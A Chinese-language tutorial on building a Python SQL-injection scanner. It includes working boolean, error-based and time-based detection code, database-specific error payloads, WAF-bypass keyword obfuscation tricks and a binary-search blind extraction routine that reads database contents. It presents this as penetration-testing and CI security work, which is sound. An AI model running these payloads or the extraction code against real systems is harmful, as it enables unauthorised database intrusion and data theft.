ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Python自动化SQL注入检测工具:从手工Payload到可复现扫描器

Python自动化SQL注入检测工具:从手工Payload到可复现扫描器 简介这是一份面向计算机、通信、人工智能及自动化等相关专业学生与从业者的Python自动化SQL注入检测工具项目源码源自个人毕设答辩评审分达98分代码经调试测试可稳定运行适合小白学习进阶也可作为期末课程设计、大作业或毕业设计的参考方案。资源包共12个文件以7个py核心脚本为主辅以txt站点列表、sh执行脚本、md说明文档、rules规则文件及pyc编译文件整体约35KB结构紧凑便于快速理解检测逻辑。项目围绕布尔注入、时间盲注、参数提取、站点采集与邮件通知等模块展开配套文档对功能与使用方式作了说明读者可据此掌握自动化注入检测的基本思路与实现方法并在此基础上修改调整以扩展不同功能。目前已有68人学习下载具备较高的学习借鉴价值。1. 基于Python的自动化SQL注入检测工具从手工Payload到可复现的扫描器很多做渗透测试的朋友都有过这种经历在 DVWA 或者 sqlilab 靶场里手工注入玩得飞起 or 11 --这种 SQL 注入简单例子闭着眼都能打可一旦面对真实业务里成百上千个参数手工测就彻底歇菜了。这时候就需要一个基于 Python 的自动化 SQL 注入检测工具把重复的请求构造、响应比对、Payload 变形全部交给代码。这个方向解决的核心问题很明确给定一个带参数的 URL自动判断哪些参数存在注入点、属于哪种注入类型、能不能进一步利用。它适合有一定 Python 基础、想从「会用 sqlmap」进阶到「自己能写扫描器」的安全从业者也适合想把 SQL 注入检测能力集成进自有平台的人。下面这套方案不依赖任何现成扫描框架纯 Python 加 requests 就能跑起来源码结构清晰方便二次改造。2. 检测原理与最小可用扫描器骨架2.1 三种注入类型的判定逻辑自动化检测的本质是「构造输入 → 观察响应差异 → 推断后端行为」。SQL 注入检测主要围绕三类判定展开。第一类是布尔盲注通过构造真条件和假条件比较两次响应内容或状态码是否一致比如1 and 11与1 and 12。第二类是报错注入故意触发数据库报错从错误信息里提取数据库类型和版本常见触发方式包括单引号闭合、extractvalue、updatexml等函数。第三类是基于时间的盲注当页面既不回显也不报错时用sleep或benchmark让数据库延迟响应通过响应时间差判断注入是否存在。这三类判定在代码里对应三个独立的检测函数每个函数接收 URL、参数名、原始值返回布尔结果。之所以拆开而不是一把梭是因为不同注入点适用的检测方式不同有回显的优先报错无回显的走时间盲注响应内容有变化的走布尔比对。实际写扫描器时我一般会按「报错 → 布尔 → 时间」的顺序依次尝试命中即停避免无谓的请求开销。2.2 用 requests 搭出请求与比对模块先搭一个最小的请求封装负责发送 Payload 并记录响应特征。这里用 requests 的 Session 保持连接复用减少握手开销。import requests import time import hashlib class Injector: def __init__(self, url, timeout10): self.url url self.timeout timeout self.session requests.Session() self.session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) }) def send(self, params): 发送请求返回响应对象和耗时 start time.time() try: resp self.session.get( self.url, paramsparams, timeoutself.timeout, allow_redirectsFalse ) elapsed time.time() - start return resp, elapsed except requests.exceptions.Timeout: return None, self.timeout except requests.exceptions.RequestException: return None, 0 def fingerprint(self, resp): 对响应做指纹用于布尔比对 if resp is None: return timeout body resp.text # 用长度内容哈希做指纹避免逐字节比对 return f{resp.status_code}:{len(body)}:{hashlib.md5(body.encode()).hexdigest()[:8]}这段代码里send方法返回响应对象和耗时耗时是给时间盲注用的。fingerprint把状态码、响应长度、内容哈希拼成一个字符串布尔比对时直接比这个指纹就行比逐字符比对快得多。参数allow_redirectsFalse很关键因为有些注入点会触发 302 跳转跟随跳转后响应内容会变导致误判。timeout默认 10 秒时间盲注场景下如果 Payload 里 sleep 了 5 秒这个超时值要相应调大否则会把正常延迟误判成超时。2.3 布尔盲注检测函数布尔盲注的核心是构造一对真假条件比较响应指纹是否不同。def check_boolean(self, param, original_value): 布尔盲注检测 true_payload f{original_value} AND 11 false_payload f{original_value} AND 12 params_true {param: true_payload} params_false {param: false_payload} resp_true, _ self.send(params_true) resp_false, _ self.send(params_false) fp_true self.fingerprint(resp_true) fp_false self.fingerprint(resp_false) # 真假条件响应不同且真条件响应与原始请求一致 if fp_true ! fp_false and fp_true ! timeout: return True return False这里有个容易翻车的点original_value如果是数字型参数直接拼AND 11没问题如果是字符型需要先闭合引号比如original_value AND 11 -- 。所以实际代码里要先判断参数类型数字型不加引号字符型加单引号并用注释符截断。注释符在不同数据库里不一样MySQL 用--或#SQL Server 用--Oracle 用--这个在 Payload 生成时要按目标数据库适配。3. 报错注入与时间盲注的工程实现3.1 报错注入的 Payload 构造与数据库指纹识别报错注入的优势是直接能从错误信息里读到数据不用逐字符猜。不同数据库的报错函数和错误格式差异很大所以检测逻辑要分数据库处理。ERROR_PAYLOADS { mysql: [ AND extractvalue(1,concat(0x7e,version())) -- , AND updatexml(1,concat(0x7e,user()),1) -- , AND (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- ], mssql: [ AND 1convert(int,version) -- , AND 1db_name() -- ], oracle: [ AND 1utl_inaddr.get_host_name((select banner from v$version where rownum1)) -- ] } ERROR_SIGNATURES { mysql: [XPATH syntax error, Duplicate entry, SQL syntax], mssql: [Conversion failed, Unclosed quotation mark], oracle: [ORA-, invalid identifier] } def check_error(self, param, original_value): 报错注入检测返回命中的数据库类型 for db_type, payloads in ERROR_PAYLOADS.items(): for payload in payloads: test_value original_value payload resp, _ self.send({param: test_value}) if resp is None: continue body resp.text for sig in ERROR_SIGNATURES[db_type]: if sig.lower() in body.lower(): return db_type return None这段代码的逻辑是遍历各数据库的报错 Payload发送后检查响应里是否包含对应数据库的错误特征字符串。ERROR_SIGNATURES里存的是各数据库报错信息的典型片段比如 MySQL 的XPATH syntax error是extractvalue触发报错的标志。参数说明original_value是原始参数值Payload 直接拼接在后面如果原始值是数字型前面的单引号要去掉。实际使用时报错注入的命中率取决于目标是否开启了错误回显生产环境往往关了display_errors这时候就得退回布尔或时间盲注。3.2 时间盲注的延迟判定与误报控制时间盲注是最稳但最慢的方式核心是测量响应时间差。难点在于网络抖动会导致误报所以要做多次采样取中位数。def check_time(self, param, original_value, delay5): 时间盲注检测多次采样降低误报 baseline_times [] for _ in range(3): _, elapsed self.send({param: original_value}) baseline_times.append(elapsed) baseline sorted(baseline_times)[1] # 取中位数 payload f{original_value} AND sleep({delay}) -- test_times [] for _ in range(3): _, elapsed self.send({param: payload}) test_times.append(elapsed) test_median sorted(test_times)[1] # 测试耗时明显大于基线且接近设定的延迟值 if test_median - baseline delay * 0.7: return True return False这里的关键参数是delay一般设 5 秒。判定阈值用delay * 0.7而不是delay是给网络波动留余量。基线采样 3 次取中位数测试也采样 3 次取中位数这样能过滤掉偶发的网络抖动。如果目标数据库不支持sleepMySQL 可以用benchmark(1000000,md5(a))替代SQL Server 用WAITFOR DELAY 0:0:5这些在 Payload 生成时要按数据库类型切换。时间盲注的坑在于如果目标有 WAFsleep关键字可能被拦截这时候要用sleep/**/(5)或者/*!50000sleep*/(5)这种变形绕过。3.3 参数发现与批量扫描调度单点检测跑通后需要自动发现 URL 里的参数并批量调度。参数来源有两类URL 查询字符串和 POST 表单。先解析 URL 提取参数名和原始值。from urllib.parse import urlparse, parse_qs, urlencode def extract_params(url): 从 URL 中提取参数名和值 parsed urlparse(url) query parse_qs(parsed.query) params {} for key, values in query.items(): params[key] values[0] if values else return params def scan(self, url): 对 URL 所有参数执行检测 params extract_params(url) results [] for param, value in params.items(): # 依次尝试报错、布尔、时间 db self.check_error(param, value) if db: results.append({param: param, type: error, db: db}) continue if self.check_boolean(param, value): results.append({param: param, type: boolean, db: unknown}) continue if self.check_time(param, value): results.append({param: param, type: time, db: unknown}) return resultsextract_params用parse_qs把查询字符串拆成字典注意parse_qs返回的值是列表取第一个元素即可。scan方法按「报错 → 布尔 → 时间」的顺序检测命中即停这样能减少请求量。实际扫描时如果参数很多建议加并发但并发数不要超过 5否则时间盲注的延迟判定会被并发干扰。另外扫描前最好先访问一次原始 URL 确认目标可达避免对着一个 404 页面白跑半天。4. 避坑与常见问题排查4.1 布尔比对误报动态内容导致的假阳性现象同一个参数AND 11和AND 12的响应指纹不同但手工验证发现并没有注入。原因页面本身包含动态内容比如时间戳、随机广告位、CSRF token每次请求响应都不一样导致指纹天然不同。解决在比对前先连续请求两次原始参数确认原始响应本身是否稳定。如果原始响应就不稳定布尔比对不可用要改用时间盲注或者提取响应中稳定的部分做比对比如只比对某个特定 HTML 元素的文本。4.2 时间盲注误报网络抖动与超时设置不当现象基线耗时 0.5 秒测试耗时 4 秒判定为注入但实际是网络抖动。原因单次采样受网络波动影响大且timeout设置过小导致请求被截断。解决基线采样至少 3 次取中位数测试也采样 3 次timeout要大于delay加网络余量比如delay5时timeout至少设 10 秒。另外如果目标服务器本身响应就慢基线可能就有 3 秒这时候delay要相应调大否则延迟差被淹没在基线里。4.3 Payload 被 WAF 拦截关键字变形与编码绕过现象手工测能注入工具跑就是检测不到。原因WAF 拦截了and、sleep、union等关键字。解决对 Payload 做变形常见手法包括大小写混写AnD、内联注释/*!50000and*/、URL 编码%61nd、双写anandd。代码里可以加一个 Payload 变形层把关键字替换成变形版本。但要注意变形后的 Payload 可能语法不合法需要针对目标数据库测试哪种变形有效。4.4 参数类型判断错误数字型与字符型混淆现象数字型参数拼了单引号导致 SQL 语法错误检测不到注入。原因代码没有区分参数类型统一按字符型处理。解决先判断原始值是否为纯数字如果是数字型Payload 不加引号如果是字符型加引号并用注释符截断。判断逻辑很简单value.isdigit()为真则是数字型。但要注意有些参数虽然是数字但后端按字符串处理这种情况需要两种都试。4.5 编码问题中文参数与特殊字符处理现象参数值包含中文或特殊字符时请求发送失败或响应异常。原因requests 默认会对参数做 URL 编码但某些特殊字符编码后目标解析不一致。解决用requests的params参数传字典让它自动编码不要手工拼 URL。如果目标要求特定编码可以用urllib.parse.quote手动编码后再拼。另外响应内容的编码要用resp.apparent_encoding自动识别不要硬编码utf-8否则中文会乱码影响报错特征匹配。5. 从检测到利用把扫描器变成可扩展的验证框架检测到注入点只是第一步真正有价值的是能进一步验证危害。我一般会在扫描器基础上加一个「数据提取」模块对确认的注入点尝试读取数据库版本、当前用户、当前库名。布尔盲注用二分法逐字符猜解时间盲注用延迟逐字符判断报错注入直接正则提取。这里给一个布尔盲注提取数据的核心逻辑def extract_data(self, param, original_value, sql): 布尔盲注逐字符提取数据 result for pos in range(1, 50): low, high 32, 126 while low high: mid (low high) // 2 payload f{original_value} AND ascii(substr(({sql}),{pos},1)){mid} -- resp, _ self.send({param: payload}) if self.fingerprint(resp) self.true_fingerprint: low mid 1 else: high mid if low 32: break result chr(low) return result这段代码用二分法猜解字符 ASCII 码true_fingerprint是之前布尔检测时记录的真条件响应指纹。sql参数是任意子查询比如select version()或select group_concat(table_name) from information_schema.tables where table_schemadatabase()。二分法把每个字符的猜测次数从 95 次降到 7 次左右效率提升明显。但要注意substr在不同数据库里写法不同MySQL 用substr或substringSQL Server 用substringOracle 用substr这个要按数据库适配。验证方法上我习惯用 DVWA 的 low 难度和 sqlilab 的 Less-1 做回归测试这两个靶场覆盖了数字型和字符型注入能验证扫描器的基本功能。进阶用法是把扫描器接入 CI每次代码发布前对测试环境跑一遍确保没有新引入的注入点。这个方向值不值得做如果你经常做渗透测试或者负责安全巡检自己写一个扫描器比每次开 sqlmap 更灵活能针对特定业务定制 Payload也能集成进自有平台。但别指望它能替代 sqlmapsqlmap 的 Payload 库和绕过能力是多年积累的自研扫描器定位应该是「轻量、可定制、易集成」。最后说个血泪教训我早期写的扫描器没做请求频率控制对着一个测试站跑结果把人家服务器打挂了后来加了time.sleep(0.5)的请求间隔才稳。自动化工具一定要有节制别让检测变成攻击。希望帮到你。本文还有配套的精品资源点击获取
返回列表